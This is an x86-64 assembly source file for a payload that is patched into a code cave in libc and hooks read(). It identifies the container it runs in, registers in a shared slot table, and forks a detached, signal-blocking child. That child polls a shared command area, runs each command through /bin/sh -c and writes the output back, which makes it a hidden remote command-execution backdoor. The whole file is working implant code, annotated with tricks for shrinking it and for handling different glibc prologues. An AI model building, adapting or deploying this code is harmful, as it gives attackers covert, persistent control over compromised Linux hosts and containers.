zone_c.asm

;; zone_c.asm -- Path-A hook dispatcher (lives in libc's .text cave)
;;
;; ===================================================================
;;  Used when the libc cave is large enough for the full Zone C + Zone A
;;  payload (path A). Does the slot-table scan, key registration, fork,
;;  and command loop all from inside libc itself. The fast_path slot at
;;  the end of AREA F emulates the displaced read() prologue bytes
;;  (cmpb / push+movsxd+xor / mov fs:[disp]) before jmp'ing to read+N.
;;
;;  Size-optimized build. Key techniques:
;;    - push imm8; pop rax instead of mov eax, imm32 (saves 2/each)
;;    - push-based stack frames for nanosleep/sigprocmask
;;    - scratch-register tricks to avoid large immediates
;;    - merged exit paths, reused rdi across syscalls
;;    - embedded null in "/bin/sh\0" immediate
;; ===================================================================
;;
;; Build (typically driven by gen_arrays.sh / Makefile):
;;   nasm -f bin -o zone_c.bin zone_c.asm
;;   nasm -f bin -l zone_c.lst -o zone_c.bin zone_c.asm

BITS 64
org 0

;; Syscall numbers (all < 128, usable with push/pop)
%define SYS_READ            0
%define SYS_CLOSE           3
%define SYS_RT_SIGPROCMASK  14
%define SYS_PIPE            22
%define SYS_DUP2            33
%define SYS_NANOSLEEP       35
%define SYS_FORK            57
%define SYS_EXECVE          59
%define SYS_EXIT            60
%define SYS_WAIT4           61
%define SYS_FCNTL           72
%define SYS_SETSID          112
%define SYS_NEWFSTATAT      262

%define F_SETFL             4
%define O_NONBLOCK          0x800
%define OUTPUT_MAX          0x2000
%define SIG_SETMASK         2

;; =======================================================
;;  AREA A -- Fast-path gate
;; =======================================================

    ;; R0: cmp dword [rip+d], 0
    db 0x83, 0x3d
.r0: dd 0
    db 0x00
    jnz .fast_path

;; =======================================================
;;  AREA B -- Container identification (stat "/")
;; =======================================================

    push rdi
    push rsi
    push rdx
    push r13                    ; callee-saved -- clobbered by slot scan
    push r14                    ; callee-saved -- clobbered by slot scan
    push r15                    ; callee-saved -- clobbered by stat inode

    push 0x2f                   ; "/"
    mov rsi, rsp
    sub rsp, 144
    mov rdx, rsp

    mov eax, SYS_NEWFSTATAT     ; 262 -- too big for push/pop
    push -100
    pop rdi                     ; AT_FDCWD  (was: mov edi,-100)
    xor r10d, r10d
    syscall

    mov r15d, [rsp+8]
    add rsp, 152
    or  r15d, 1

    ;; R3: mov [rip+d], r15d
    db 0x44, 0x89, 0x3d
.r3: dd 0

;; =======================================================
;;  AREA C -- Slot-table scan
;; =======================================================

    ;; R1: lea r14, [rip+d]
    db 0x4c, 0x8d, 0x35
.r1: dd 0
    ;; R2: lea r13, [rip+d]
    db 0x4c, 0x8d, 0x2d
.r2: dd 0

    push r14

.scan:
    cmp r14, r13
    jge .not_found
    cmp [r14], r15d
    je  .found
    add r14, 4
    jmp .scan

.found:
    pop rax                     ; discard saved r14 (was: add rsp,8)
    jmp .race_won               ; restore callee-saved + args -> fast path

.not_found:
    pop r14

;; =======================================================
;;  AREA D -- Race-safe slot registration + fork
;; =======================================================

.find_empty:
    cmp r14, r13
    jge .do_fork
    cmp dword [r14], 0
    jnz .slot_taken

    mov rdi, r14
    mov esi, r15d
    ;; R4: call Zone A
    db 0xE8
.r4: dd 0

    cmp [r14], r15d
    je  .do_fork
    jmp .next_slot

.slot_taken:
    cmp [r14], r15d
    je  .race_won

.next_slot:
    add r14, 4
    jmp .find_empty

.race_won:
    pop r15                     ; restore callee-saved
    pop r14
    pop r13
    pop rdx
    pop rsi
    pop rdi
    jmp .fast_path

.do_fork:
    push SYS_FORK
    pop rax
    syscall
    test eax, eax
    jz  .child
    jmp .race_won               ; parent: restore callee-saved + args

;; =======================================================
;;  AREA F -- Return to real read()
;; =======================================================

.fast_path:
    ;; 8-byte emulation slot for the displaced read() prologue bytes.
    ;; Sized for the largest known displaced sequence (8-byte
    ;; `mov eax, fs:[0x18]` on glibc 2.31/2.35). For shorter (7-byte)
    ;; prologues -- `cmpb $0x0,(%rip)` (glibc 2.36/2.39) or
    ;; `push rbp; movsxd; xor` (glibc 2.43) -- the 8th byte is a NOP
    ;; filler patched in by patch_zone_c. The total fast_path stays
    ;; 13 bytes (8 emulation + 5 jmp) regardless of prologue kind, so
    ;; ZONE_C_SIZE is constant.
    db 0x80, 0x3d                  ; OLD-style cmpb opcode prefix (kept as
                                   ; the "natural" 7-byte form for
                                   ; PROLOGUE_OLD_CMPB; the 8th slot byte
                                   ; below is the NOP filler)
.r5: dd 0                          ; cmp byte disp32 (OLD only; overlaid
                                   ; with movsxd bytes for NEW; replaced
                                   ; whole-cloth for TLS)
    db 0x00                        ; cmp imm8 (= 0)
    db 0x90                        ; NOP filler (slot byte 7) -- overlaid
                                   ; with the 8th mov byte for TLS
    db 0xE9                        ; jmp rel32 opcode
.r6: dd 0                          ; jmp rel32 to read()+N

;; =======================================================
;;  AREA E -- Child init (setsid + sigblock + 100ms)
;; =======================================================

.child:
    add rsp, 48                 ; discard saved regs (r15/r14/r13/rdx/rsi/rdi)

    ;; setsid()
    push SYS_SETSID
    pop rax                     ; was: mov eax, 112
    syscall

    ;; sigprocmask(SIG_SETMASK, &all_ones, NULL, 8)
    push -1                     ; sigmask on stack (was: sub+mov qword)
    mov rsi, rsp
    xor edx, edx
    push SYS_RT_SIGPROCMASK
    pop rax
    push SIG_SETMASK
    pop rdi
    push 8
    pop r10
    syscall
    pop rax                     ; discard sigmask (was: add rsp,8)

    ;; nanosleep(100ms) -- jitter
    ;; 100000000 = 0x5F5E100
    mov ecx, 100000000
    push rcx                    ; nsec
    xor ecx, ecx
    push rcx                    ; sec = 0
    mov rdi, rsp
    xor esi, esi
    push SYS_NANOSLEEP
    pop rax
    syscall
    add rsp, 16

;; =======================================================
;;  AREA G -- Command loop (sleep 1s + exit-scan + poll)
;; =======================================================

.cmd_loop:
    ;; nanosleep(1s, 0) -- scratch reg trick
    xor ecx, ecx
    push rcx                    ; nsec = 0
    inc ecx
    push rcx                    ; sec = 1
    mov rdi, rsp
    xor esi, esi
    push SYS_NANOSLEEP
    pop rax
    syscall
    add rsp, 16

    ;; R12: lea r14, [rip+d] -- slot_start
    db 0x4c, 0x8d, 0x35
.r12: dd 0
    ;; R13: lea r13, [rip+d] -- slot_end
    db 0x4c, 0x8d, 0x2d
.r13: dd 0

.exit_scan:
    cmp r14, r13
    jge .die
    cmp dword [r14], 0
    je  .die
    cmp [r14], r15d
    je  .check_cmd
    add r14, 4
    jmp .exit_scan

.check_cmd:
    ;; R7: lea rbp, [rip+d] -- CMD area
    db 0x48, 0x8d, 0x2d
.r7: dd 0

    mov eax, [rbp]
    cmp eax, -1
    je .die
    cmp eax, r15d
    jne .cmd_loop
    mov eax, [rbp + 4]
    cmp eax, 1
    jne .cmd_loop

;; =======================================================
;;  AREA H -- Command execution (pipe + fork + drain)
;; =======================================================

    ;; pipe()
    sub rsp, 8
    push SYS_PIPE
    pop rax
    mov rdi, rsp
    syscall
    test eax, eax
    js .exec_fail

    mov r12d, [rsp]
    mov r13d, [rsp+4]
    add rsp, 8

    ;; fork()
    push SYS_FORK
    pop rax
    syscall
    test eax, eax
    jz .exec_child

    ;; -- Collector parent ----------------------
    push rax                    ; save child PID

    ;; close(pipe_wr)
    push SYS_CLOSE
    pop rax
    mov edi, r13d
    syscall

    pop r13                     ; r13 = child PID

    ;; fcntl(pipe_rd, F_SETFL, O_NONBLOCK)
    push SYS_FCNTL
    pop rax
    mov edi, r12d
    push F_SETFL
    pop rsi
    mov edx, O_NONBLOCK
    syscall

    ;; R8: lea r14, [rip+d] -- OUTPUT base
    db 0x4c, 0x8d, 0x35
.r8: dd 0

    xor ebx, ebx

.pipe_loop:
    sub rsp, 256
    xor eax, eax                ; SYS_READ = 0 (was: mov eax,0)
    mov edi, r12d
    mov rsi, rsp
    mov edx, 252
    syscall

    test eax, eax               ; was: cmp eax, 0
    jl .pipe_check_err
    je .pipe_eof

    mov ecx, eax
    add ecx, 3
    and ecx, -4
    xor edx, edx

.write_out:
    cmp edx, ecx
    jge .write_out_done
    cmp ebx, OUTPUT_MAX
    jge .write_out_done

    lea rdi, [r14 + rbx]
    mov esi, [rsp + rdx]
    push rcx
    push rdx
    ;; R9: call Zone A
    db 0xE8
.r9: dd 0
    pop rdx
    pop rcx

    add edx, 4
    add ebx, 4
    jmp .write_out

.write_out_done:
    add rsp, 256
    jmp .pipe_loop

.pipe_check_err:
    add rsp, 256
    cmp eax, -11                ; EAGAIN?
    jne .pipe_done

    ;; EAGAIN -- sleep 100ms, retry
    mov ecx, 100000000
    push rcx
    xor ecx, ecx
    push rcx
    mov rdi, rsp
    xor esi, esi
    push SYS_NANOSLEEP
    pop rax
    syscall
    add rsp, 16
    jmp .pipe_loop

.pipe_eof:
    add rsp, 256

.pipe_done:
    ;; close(pipe_rd) + wait4
    push SYS_CLOSE
    pop rax
    mov edi, r12d
    syscall

    push SYS_WAIT4
    pop rax
    mov edi, r13d
    xor esi, esi
    xor edx, edx
    xor r10d, r10d
    syscall

    ;; Signal done: write 0xFFFFFFFD to CMD target_key
    ;; R10: lea rdi, [rip+d]
    db 0x48, 0x8d, 0x3d
.r10: dd 0
    push -3
    pop rsi                     ; 0xFFFFFFFD (was: mov esi, 0xFFFFFFFD)

    ;; R11: call Zone A
    db 0xE8
.r11: dd 0

    jmp .cmd_loop

;; =======================================================
;;  AREA I -- Exec child (dup2 + execve)
;; =======================================================

.exec_child:
    ;; dup2(pipe_wr, STDOUT=1) then dup2(pipe_wr, STDERR=2)
    mov edi, r13d               ; rdi = pipe_wr (reused across both)
    push 1
    pop rsi
    push SYS_DUP2
    pop rax
    syscall

    inc esi                     ; esi = 2 (kernel preserved rsi)
    push SYS_DUP2
    pop rax
    ;; rdi still = r13d (kernel preserves rdi)
    syscall

    ;; close(pipe_rd)
    push SYS_CLOSE
    pop rax
    mov edi, r12d
    syscall

    ;; close(pipe_wr)
    push SYS_CLOSE
    pop rax
    mov edi, r13d
    syscall

    ;; "/bin/sh\0" -- null embedded in movabs high byte
    mov rax, 0x0068732f6e69622f
    push rax
    mov r8, rsp

    ;; "-c\0" -- xor eax gives 6 zero bytes padding
    xor eax, eax
    mov ax, 0x632d
    push rax
    mov r9, rsp

    ;; cmd string pointer
    lea r10, [rbp + 8]

    ;; argv = ["/bin/sh", "-c", cmd, NULL]
    xor eax, eax
    push rax                    ; NULL
    push r10
    push r9
    push r8

    ;; execve
    mov rdi, r8
    mov rsi, rsp
    xor edx, edx
    push SYS_EXECVE
    pop rax
    syscall

    ;; execve failed
    push SYS_EXIT
    pop rax
    push 127
    pop rdi
    syscall

;; -- Error / exit paths ---------------------------------

.exec_fail:
    add rsp, 8
    jmp .cmd_loop

.die:
    push SYS_EXIT
    pop rax
    xor edi, edi
    syscall